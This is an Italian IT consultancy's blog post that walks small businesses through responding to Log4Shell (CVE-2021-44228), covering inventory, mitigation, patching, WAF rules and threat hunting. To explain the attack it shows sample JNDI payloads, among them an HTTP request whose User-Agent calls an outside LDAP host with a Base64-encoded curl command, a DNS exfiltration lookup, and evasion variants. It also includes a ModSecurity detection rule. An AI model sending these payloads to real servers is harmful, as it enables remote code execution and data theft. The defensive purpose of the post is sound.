Log4Shell (CVE-2021-44228): risposta tempestiva per PMI italiane

Sono passati cinque giorni dalla disclosure pubblica di CVE-2021-44228, ribattezzata Log4Shell, e stiamo ancora misurando l’onda d’urto. Tra il 9 e il 10 dicembre 2021 una pubblicazione su GitHub e un thread su Twitter hanno messo nero su bianco quello che molti analisti hanno descritto come la peggiore vulnerabilità informatica dell’ultimo decennio: una RCE remota, non autenticata, in Apache Log4j 2.x, libreria di logging usata praticamente ovunque ci sia un’applicazione Java in produzione.

Mentre scriviamo, le PMI italiane stanno facendo i conti con un perimetro tecnologico molto più esposto di quanto pensassero. Software gestionali, e-commerce custom, server di posta, sistemi documentali, perfino macchine industriali con HMI Java: tutti possibili vettori. Il problema non è solo “patchare il proprio applicativo”: è scoprire dove Log4j sta girando in profondità nello stack, spesso annidato in dipendenze di terze parti che il fornitore non ha ancora aggiornato.

In Brentasoft seguiamo da giorni clienti del settore manifatturiero, retail e servizi che ci chiedono la stessa cosa: “siamo vulnerabili? cosa facciamo nelle prossime 24 ore?”. Questo articolo è la nostra risposta operativa, scritta per imprenditori e responsabili IT che devono prendere decisioni rapide in un contesto in cui la CISA americana sta per emanare una direttiva d’emergenza e le PoC pubbliche di exploit si moltiplicano ora dopo ora.

Cos’e’ Log4Shell e perche’ tutti ne parlano

Log4j e’ la libreria di logging piu’ diffusa nell’ecosistema Java. La trovi nel backend dei gestionali aziendali, nelle piattaforme Atlassian, in Elasticsearch, Logstash, Solr, in molti server applicativi (Tomcat, JBoss, WebLogic), nei moduli di integrazione di Salesforce e SAP, nei container Spring Boot dei microservizi e — l’esempio mediatico piu’ clamoroso — perfino nel server ufficiale di Minecraft pubblicato da Microsoft. Ovunque si scriva un log, c’e’ la probabilita’ che dietro le quinte stia girando Log4j.

La vulnerabilita’ descritta in CVE-2021-44228 ha un punteggio CVSS di 10.0 — il massimo possibile. Per dare il senso della gravita’: non richiede autenticazione, non richiede interazione utente, e’ sfruttabile da remoto, e l’impatto e’ esecuzione di codice arbitrario con i privilegi del processo Java. Da li’ un attaccante puo’ fare praticamente qualsiasi cosa: piazzare un coinminer, esfiltrare il database, installare una reverse shell, propagarsi lateralmente nella rete.

La cosa che ha sorpreso analisti e CERT in queste ore e’ la banalita’ della catena di attacco. Per innescare l’exploit basta una stringa di pochi caratteri inviata a un campo che, prima o poi, finira’ in un log. User-Agent HTTP, header X-Forwarded-For, parametro di ricerca, nome utente al login, payload di un form: qualsiasi punto di ingresso diventa potenzialmente fatale.

Perche’ una RCE e’ lo scenario peggiore per una PMI

Nel modello di rischio classico, ordiniamo gli impatti delle vulnerabilita’ in tre livelli: divulgazione di informazioni, elevazione di privilegi, esecuzione di codice. Una Remote Code Execution e’ il livello massimo perche’ compromette riservatezza, integrita’ e disponibilita’ contemporaneamente. Per una PMI italiana significa, nel concreto:

• Furto di dati personali e contabili — anagrafiche clienti, listini, dati bancari, documenti fiscali. Esposizione GDPR immediata.
• Compromissione della continuita’ operativa — un attaccante con codice remoto puo’ lanciare ransomware in poche ore, fermando produzione e ordini.
• Pivoting in rete interna — il server colpito diventa testa di ponte per attaccare CRM, file server, controller di dominio.
• Danno reputazionale — clienti e partner non perdonano un fornitore che diventa vettore di attacco verso di loro.

La differenza rispetto ad altre vulnerabilita’ “rumorose” degli ultimi anni e’ che Log4j non e’ un singolo prodotto: e’ un ingrediente che si nasconde dentro altri prodotti. Anche se la tua azienda non ha sviluppatori Java interni, e’ realistico che almeno tre o quattro applicativi della tua infrastruttura — gestionale, sistema documentale, monitoraggio, e-commerce headless — abbiano Log4j da qualche parte.

JNDI lookup: come funziona l’exploit in pratica

Per capire la mitigation bisogna capire come Log4j si fa “infettare”. La libreria, per fornire ai developer un sistema flessibile, supporta un meccanismo chiamato lookup: dentro una stringa di log e’ possibile inserire variabili nella forma ${...} che vengono risolte runtime. Esempio innocuo: ${java:version} stampa la versione della JVM.

Uno dei lookup supportati e’ JNDI (Java Naming and Directory Interface). JNDI puo’ interrogare diversi backend, tra cui LDAP, RMI, DNS. Quando Log4j incontra una stringa come ${jndi:ldap://attaccante.example/Exploit} dentro un messaggio di log, prova davvero a contattare quel server LDAP, scaricare la classe Java indicata e caricarla nella JVM. Caricamento = esecuzione. Fine.

Il punto critico e’ che il payload non deve arrivare a una funzione “speciale”: basta che finisca in un campo che il codice applicativo decide di loggare. Un esempio reale che stiamo vedendo in molti log perimetrali in questi giorni:

GET / HTTP/1.1
Host: api.tuaazienda.it
User-Agent: ${jndi:ldap://45.155.205.233:1389/Basic/Command/Base64/Y3VybCBodHRwczovL21hbHdhcmUuLi4=}
X-Forwarded-For: ${jndi:dns://attacker.dnslog.cn/test}

Se l’applicazione registra User-Agent o X-Forwarded-For in un log gestito da Log4j, l’exploit parte. Nelle PoC pubbliche viste in questi giorni gli attaccanti stanno encodando il payload in Base64 per aggirare WAF poco intelligenti, e usano servizi gratuiti tipo dnslog.cn o interactsh per esfiltrare via DNS anche quando la rete in uscita e’ filtrata.

Quali stack sono esposti — la mappa che devi fare oggi

Non puoi mitigare cio’ che non sai di avere. La prima azione operativa, prima ancora del patching, e’ un inventario delle applicazioni Java nel perimetro aziendale. Categorie da non dimenticare:

• Applicativi business interni: gestionale ERP, CRM Java-based, sistemi documentali (Alfresco, Nuxeo), portali clienti custom.
• Stack di logging e ricerca: Elasticsearch (fino alla 7.16), Logstash, Kibana, Solr, Graylog.
• Strumenti DevOps: Jenkins, SonarQube, Confluence, Jira, Bitbucket Server — tutti hanno o avevano Log4j 2.x in qualche modulo.
• Server applicativi: Apache Tomcat configurato con Log4j, JBoss/WildFly, WebLogic, WebSphere.
• VMware vCenter e altri prodotti di virtualizzazione (advisory ufficiali stanno uscendo proprio in queste ore).
• Game/edge server: il caso del server ufficiale Microsoft Minecraft Java Edition e’ diventato virale perche’ bastava inviare il payload in chat per ottenere RCE sul server.
• Sistemi industriali con interfacce Java: HMI, SCADA, building automation. Qui i tempi di patching sono lunghi e la mitigation di emergenza diventa fondamentale.

Per ognuno di questi sistemi devi avere risposte concrete a tre domande: quale versione di Log4j sta usando? e’ raggiungibile da internet o solo da rete interna? il vendor ha gia’ rilasciato un advisory?

Checklist di scoperta: dove cercare Log4j nei tuoi server

Per i sistemi Linux su cui hai accesso shell, i comandi base per scoprire installazioni di Log4j sono pochi e affidabili. Conviene eseguirli su tutti i server prima della fine della giornata.

# Cerca tutti i JAR contenenti classi di Log4j core
find / -type f -name "*.jar" 2>/dev/null \
  | xargs -I{} sh -c 'unzip -l "{}" 2>/dev/null | grep -l "org/apache/logging/log4j/core/lookup/JndiLookup.class" && echo "{}"'

# Variante piu' veloce con grep
find / -name "*.jar" -exec sh -c 'unzip -p "$1" META-INF/MANIFEST.MF 2>/dev/null | grep -q "log4j" && echo "$1"' _ {} \;

# Per Windows / PowerShell
Get-ChildItem -Path C:\ -Recurse -Filter "log4j-core-*.jar" -ErrorAction SilentlyContinue

Attenzione ai JAR shaded e fat JAR: molti applicativi enterprise includono Log4j repackaged dentro un uberjar con namespace modificato. In questi casi la ricerca per nome file fallisce e devi cercare la classe JndiLookup.class direttamente dentro ogni archivio. Strumenti come logpresso/CVE-2021-44228-Scanner stanno emergendo proprio in queste ore per automatizzare il lavoro.

Sui container Docker la situazione e’ anche piu’ subdola: una singola immagine puo’ contenere decine di JAR. Esegui la scansione dall’host con docker exec oppure builda una nuova immagine derivata che inietti uno scanner.

Mitigation immediata: cosa fare nelle prossime 4 ore

Il patching e’ la soluzione corretta, ma per molti applicativi enterprise non e’ praticabile aggiornare in poche ore: serve test di regressione, finestra di manutenzione, coordinamento con il vendor. Nel frattempo esistono tre mitigation di emergenza ufficialmente raccomandate dal team Apache, da applicare subito sui sistemi vulnerabili che non puoi spegnere.

1) Disabilitare i lookup tramite property JVM

Per Log4j 2.10 e successive, aggiungi questa property all’avvio della JVM:

java -Dlog4j2.formatMsgNoLookups=true -jar applicazione.jar

Se usi systemd, modifica l’unit file o il file EnvironmentFile:

[Service]
Environment="JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true"
Environment="LOG4J_FORMAT_MSG_NO_LOOKUPS=true"

La variabile d’ambiente LOG4J_FORMAT_MSG_NO_LOOKUPS=true e’ utile per i container, dove non hai sempre il controllo diretto del comando di avvio. Dopo aver modificato, riavvia il processo Java: la property non viene letta runtime.

2) Rimuovere la classe JndiLookup dal JAR

Per Log4j 2.0-beta9 fino a 2.10.0 la property sopra non basta. La mitigation manuale documentata da Apache e’ rimuovere fisicamente la classe vulnerabile dal JAR:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Operazione invasiva: testala in staging prima della produzione e tieni una copia del JAR originale.

3) Bloccare egress LDAP/RMI/DNS sospetto a livello di firewall

L’exploit funziona solo se il server vulnerabile riesce a uscire verso il server LDAP dell’attaccante. Molte PMI hanno regole di egress troppo permissive. Blocca da subito connessioni in uscita verso porte tipiche LDAP/RMI (389, 636, 1389, 1099) dai server di backend, lasciando passare solo destinazioni note. Non e’ una difesa definitiva (DNS exfiltration funziona ancora), ma alza enormemente l’asticella per l’attaccante.

Patching: arrivare a Log4j 2.16.0

La patch ufficiale e’ uscita in due tempi. Log4j 2.15.0 del 10 dicembre disabilitava i lookup di default e limitava i protocolli JNDI ammessi, ma e’ emerso quasi subito che con configurazioni specifiche (pattern non-default, MDC con stringhe controllate) restavano percorsi sfruttabili — da qui il bollettino CVE-2021-45046 del 14 dicembre.

La soluzione raccomandata oggi e’ Log4j 2.16.0, rilasciata il 13 dicembre. Questa versione:

• Disabilita JNDI di default (la funzione e’ ora opt-in esplicito).
• Rimuove completamente il supporto ai message lookup.
• Restringe lo strato JNDI ai soli protocolli locali.

Per progetti Maven, aggiorna le dipendenze:

<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-core</artifactId>
  <version>2.16.0</version>
</dependency>
<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-api</artifactId>
  <version>2.16.0</version>
</dependency>

Per Gradle l’equivalente:

implementation 'org.apache.logging.log4j:log4j-core:2.16.0'
implementation 'org.apache.logging.log4j:log4j-api:2.16.0'

Verifica anche le dipendenze transitive con mvn dependency:tree o gradle dependencies: capita che un’altra libreria tiri dentro una versione vecchia di Log4j vincolata, e tu debba forzare un override esplicito. Per chi non gestisce direttamente il build (applicativi closed-source), ricarica i JAR sostituendo quelli vulnerabili sull’installazione.

WAF e regole di blocco al perimetro

Le grandi reti CDN/WAF — Cloudflare, Akamai, AWS WAF, Imperva, F5 — hanno rilasciato regole specifiche per Log4Shell nelle ultime 72 ore. Se sei dietro a una di queste piattaforme, attivale subito: vengono distribuite come managed rules e si abilitano con un click, intercettando i payload JNDI ovvi.

Per chi ha un proprio reverse proxy (nginx, HAProxy, ModSecurity) la regola di base e’ una regex che intercetti la stringa ${jndi: e le sue varianti codificate. Esempio per ModSecurity:

SecRule REQUEST_HEADERS|REQUEST_URI|ARGS|REQUEST_BODY \
  "@rx (?i)\$\{(\$\{[^}]*\})*jndi:" \
  "id:1000001,phase:2,deny,status:403,log,msg:'Log4Shell JNDI payload blocked'"

Attenzione ai falsi negativi: in queste 72 ore stiamo vedendo decine di varianti di evasion — Base64, URL-encoding doppio, uso di nested lookup tipo ${${lower:j}ndi:...}, separatori Unicode. Una regola troppo restrittiva (solo ${jndi:ldap://) viene bypassata banalmente. Usa pattern flessibili e monitora i bypass segnalati dalla community via Twitter e GitHub Security Advisories.

Allo stesso tempo, attenzione ai falsi positivi: alcuni applicativi legittimi (analytics, prodotti integrazione) usano stringhe simili. Inizia in log only, valuta il traffico per qualche ora, poi passa al blocco attivo.

Supply chain: il problema delle dipendenze indirette

Una buona parte dell’incertezza che vediamo in queste ore deriva dal fatto che Log4j e’ spesso una dipendenza di terza o quarta generazione. Il tuo software non la usa direttamente, ma viene tirata dentro da una libreria che a sua volta dipende da un framework che a sua volta usa Log4j. Per una PMI con uno stack Java non banale, il numero di JAR Log4j in giro puo’ essere sorprendentemente alto.

Cosa fare di concreto sul tema supply chain:

• Apri un canale formale con ogni vendor critico: chiedi per iscritto se sono affetti da CVE-2021-44228 e quale ETA hanno sulla patch. Documenta tutto: ti servira’ poi per eventuali responsabilita’ GDPR.
• Verifica i SaaS in uso: piattaforme cloud che usi (ticketing, marketing automation, BI) potrebbero essere vulnerabili lato server senza che tu te ne accorga. Cerca le pagine “status” e gli advisory di sicurezza dei tuoi vendor cloud.
• Costruisci un SBOM (Software Bill of Materials) — anche solo Excel — degli applicativi critici. Per i prossimi mesi sapere “cosa c’e’ dentro” diventera’ un asset strategico.
• Definisci un processo di vulnerability management: questa non sara’ l’ultima CVE critica del 2021. Avere un workflow strutturato fa la differenza tra “ci pensiamo quando succede” e “siamo gia’ al patching”.

Incident response: assumi di essere gia’ stato compromesso

Una delle indicazioni piu’ forti che stiamo dando ai nostri clienti in queste ore: non aspettare la prova del compromesso, assumi che sia avvenuto e indaga di conseguenza. Il payload puo’ essere arrivato giorni fa: le prime scansioni di massa documentate risalgono al 1° dicembre, prima ancora della disclosure pubblica. La community sta scoprendo IOC con due settimane di anticipo rispetto a quando si pensava.

Una checklist operativa per la threat hunting interna nelle prossime 72 ore:

• Log perimetrali: cerca pattern ${jndi:, ${lower:, ${upper:, varianti Base64 nei log di nginx, Apache, IIS, firewall applicativi, da inizio dicembre.
• Connessioni in uscita anomale: traffico LDAP, RMI, DNS verso destinazioni esterne non note. Sospetto particolare per query DNS verso domini .cn, .ru, dnslog services.
• Processi figli anomali dal processo Java: bash, sh, powershell, curl, wget, nc lanciati come child del JVM.
• Nuovi cron job, nuovi servizi, file in /tmp o %TEMP% con timestamp recenti, modifiche a ~/.ssh/authorized_keys.
• Coinminer: il payload “soft” che gli attaccanti opportunistici stanno droppando per primo. CPU al 100% su processi sconosciuti, connessioni verso pool di mining.

Se trovi indicatori positivi, attiva subito il piano di incident response: isola il sistema dalla rete, preserva un’immagine forense del disco, coinvolgi il legale per valutare gli obblighi di notifica al Garante Privacy (72 ore se ci sono dati personali coinvolti). Documenta ogni azione con timestamp.

CISA, ENISA e il contesto normativo italiano

Il livello di allerta istituzionale e’ altissimo. La CISA americana ha annunciato una emergency directive (la 22-02, in arrivo nei prossimi giorni) che obbliga le agenzie federali statunitensi a mitigare entro fine anno. ENISA e i CERT nazionali europei stanno emanando comunicati paralleli. Lo CSIRT Italia ha pubblicato un bollettino tecnico il 10 dicembre con livello di gravita’ “rosso”.

Per le PMI italiane il punto da tenere a mente non e’ tanto il rispetto formale di un obbligo immediato, quanto il fatto che — qualora un incidente avvenga — il regolatore valutera’ la diligenza con cui l’azienda ha reagito alla disclosure. Aver ignorato per giorni una vulnerabilita’ di gravita’ 10/10 nota pubblicamente sara’ considerato negligenza grave, con conseguenze rilevanti sotto il profilo GDPR (articolo 32 — sicurezza del trattamento) e contrattuale verso i clienti business.

Suggeriamo di documentare formalmente:

• La data in cui l’azienda e’ venuta a conoscenza del bollettino.
• L’inventario degli applicativi verificati e l’esito della verifica.
• Le mitigation applicate e con quale timeline.
• Le comunicazioni con i vendor di terze parti.

Questa documentazione, conservata in modo ordinato, e’ la migliore difesa in caso di accertamenti successivi.

Roadmap 30 giorni: dal fuoco amico alla resilienza

Risolta l’emergenza, il pericolo e’ tornare all’inerzia. La nostra raccomandazione e’ usare le prossime quattro settimane per consolidare un livello di igiene cyber che renda eventi simili meno traumatici in futuro.

Settimana 1 (entro il 22 dicembre): completamento patching di tutti i sistemi raggiungibili da Internet. Mitigation di emergenza su tutto il resto. Mappa preliminare delle dipendenze.

Settimana 2: patching dei sistemi interni. Threat hunting retroattivo a campione sui log storici. Rotazione delle credenziali di service account usati dai sistemi vulnerabili.

Settimana 3: revisione delle regole egress su firewall perimetrale. Hardening minimo dei container Java: utenti non-root, capability limitate, network policy. Aggiornamento del SIEM con detection rule per JNDI payload.

Settimana 4: post-mortem interno scritto. Aggiornamento del processo di vulnerability management. Definizione di un calendario trimestrale di scansioni automatiche delle dipendenze (Dependabot, Renovate, OWASP Dependency-Check). Formazione interna agli sviluppatori su minimum viable security.

Come ti possiamo aiutare

In Brentasoft stiamo gestendo proprio in questi giorni operazioni di scoperta, mitigation e patching per clienti di varie dimensioni. Se hai bisogno di un supporto concreto nelle prossime 48 ore — dall’inventario dei sistemi Java al deployment delle regole WAF, dalla verifica delle dipendenze al piano di incident response — possiamo intervenire con una squadra dedicata.

Possiamo lavorare in tre modalita’: supporto remoto in modalita’ war-room con il tuo IT interno, intervento on-site, oppure presa in carico completa dei sistemi critici con SLA definiti. La nostra esperienza con stack Java enterprise nelle PMI italiane ci permette di muoverci rapidamente anche dove la documentazione tecnica e’ frammentaria.

Domande frequenti

La mia azienda non sviluppa software Java: sono al sicuro?
No, e’ uno dei malintesi piu’ pericolosi. Log4j e’ presente in moltissimi prodotti commerciali e open source che usi senza saperlo. Verifica con i tuoi fornitori IT quali applicativi del tuo perimetro lo includono.

Basta aggiornare Log4j a 2.15.0?
No. La 2.15.0 e’ parziale ed e’ affetta da CVE-2021-45046. Vai direttamente alla 2.16.0 dove possibile, oppure applica le mitigation di emergenza in attesa di poter aggiornare.

Sono dietro a un firewall, sono comunque vulnerabile?
Se l’applicazione vulnerabile riceve input dall’esterno (anche un parametro HTTP loggato), si’. Inoltre il firewall non ti protegge da attacchi laterali interni: un endpoint compromesso puo’ attaccare un server vulnerabile in LAN.

Quanto tempo richiede il patching?
Dipende dalla complessita’ dello stack. Per applicativi semplici (microservizio Spring Boot con build proprio) puo’ bastare un’ora tra build e deploy. Per applicativi enterprise con vendor coinvolti, settimane. Per questo le mitigation di emergenza sono cosi’ importanti.

Devo notificare al Garante Privacy?
Solo se hai evidenza o sospetto fondato di compromissione che coinvolga dati personali. La sola esistenza della vulnerabilita’ non e’ notificabile. Documenta comunque tutte le tue azioni di risposta.

I miei backup sono al sicuro?
Se i sistemi compromessi avevano accesso ai backup, possibilmente no. Verifica che i tuoi backup offline/immutabili non siano stati alterati e considera questo episodio per rivedere la strategia 3-2-1.

Quanto durera’ questa emergenza?
Realisticamente, alcuni mesi. La superficie di attacco e’ enorme e nuove varianti di exploit stanno emergendo ora. Considera questa l’inizio di una fase di vulnerability management piu’ intensa, non un episodio isolato.